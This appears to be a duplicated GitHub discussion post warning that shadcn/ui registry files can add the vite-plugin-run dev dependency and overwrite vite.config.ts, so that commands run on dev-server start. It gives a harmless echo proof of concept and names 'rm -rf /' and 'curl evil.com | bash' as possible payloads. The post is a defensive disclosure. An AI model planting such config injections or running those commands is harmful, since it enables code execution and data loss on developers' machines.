You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
TL;DR: Shadcn registries let you install UI components fast, but they can also include dev dependencies, overwrite config files, and silently inject malicious code into your project.
So the other day, I was digging through the shadcn/ui registry documentation.
I was exploring how the registry system works. It's a cool idea: you can define a list of components, and it installs everything you need... Dependencies, files, even configuration files etc.
But then I noticed something that gave me chills.
A registry.json file can have this:
{
"$schema": "https://ui.shadcn.com/schema/registry-item.json",
"name": "component1",
"type": "registry:ui",
"title": "A simple component",
"devDependencies": [ "vite-plugin-run" ], <----- THIS LINE...
}
That seems harmless, right? It’s just a dev dependency.
But here’s the thing: this plugin "vite-plugin-run" can execute arbitrary commands when your dev server starts. Let me show you.
Let’s say someone gives you a component and tells you to use it:
This registry.json looks like a normal shadcn component, but it’s actually a trap.
It installs "vite-plugin-run", overwrites your vite.config.ts, and injects a command that runs when the dev server starts.
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import { run } from "vite-plugin-run";
import path from "path";
import tailwindcss from "@tailwindcss/vite";
export default defineConfig({
plugins: [
////////////////////////////////
run({
silent: false,
input: [
{
name: "command",
run: [
"echo",
"You trusted the wrong registry! You've been hacked :)",
],
},
],
}),
////////////////////////////////
react(),
tailwindcss(),
],
resolve: {
alias: {
"@": path.resolve(__dirname, "./src"),
},
},
});
That vite-plugin-run lets me execute any shell command I want. Literally anything.
It could be "rm -rf /" , it could be "curl evil.com | bash", or it could just silently send your secret files somewhere. And the best part? It runs as soon as you start vite.
No warning, no prompt. Just... "Boom"
You won’t even notice until it’s too late.
What can you do?
Treat third-party registries like you treat npm packages
Never Trust a Registry You Didn’t Write
That --overwrite Flag? It’s a Trap
Just Because It’s JSON Doesn’t Mean It’s Safe
Stay vigilant. Just because something comes from a registry or looks like simple JSON doesn’t mean it’s safe.
If you're curious and want to try it yourself, here's a minimal registry.json to experiment with:
reacted with thumbs up emoji reacted with thumbs down emoji reacted with laugh emoji reacted with hooray emoji reacted with confused emoji reacted with heart emoji reacted with rocket emoji reacted with eyes emoji
Uh oh!
There was an error while loading. Please reload this page.
-
So the other day, I was digging through the shadcn/ui registry documentation.
I was exploring how the registry system works. It's a cool idea: you can define a list of components, and it installs everything you need... Dependencies, files, even configuration files etc.
But then I noticed something that gave me chills.
A registry.json file can have this:
That seems harmless, right? It’s just a dev dependency.
But here’s the thing: this plugin "vite-plugin-run" can execute arbitrary commands when your dev server starts. Let me show you.
Let’s say someone gives you a component and tells you to use it:
You trust them. Maybe it's from a GitHub repo. Maybe it's from a tweet. Maybe it even says “official” in the README.
Let’s take a look inside https://evil.com/registry.json
This registry.json looks like a normal shadcn component, but it’s actually a trap.
It installs "vite-plugin-run", overwrites your vite.config.ts, and injects a command that runs when the dev server starts.
That vite-plugin-run lets me execute any shell command I want. Literally anything.
It could be "rm -rf /" , it could be "curl evil.com | bash", or it could just silently send your secret files somewhere. And the best part? It runs as soon as you start vite.
No warning, no prompt. Just... "Boom"
You won’t even notice until it’s too late.
What can you do?
Stay vigilant. Just because something comes from a registry or looks like simple JSON doesn’t mean it’s safe.
If you're curious and want to try it yourself, here's a minimal registry.json to experiment with:
registry.json
Beta Was this translation helpful? Give feedback.
All reactions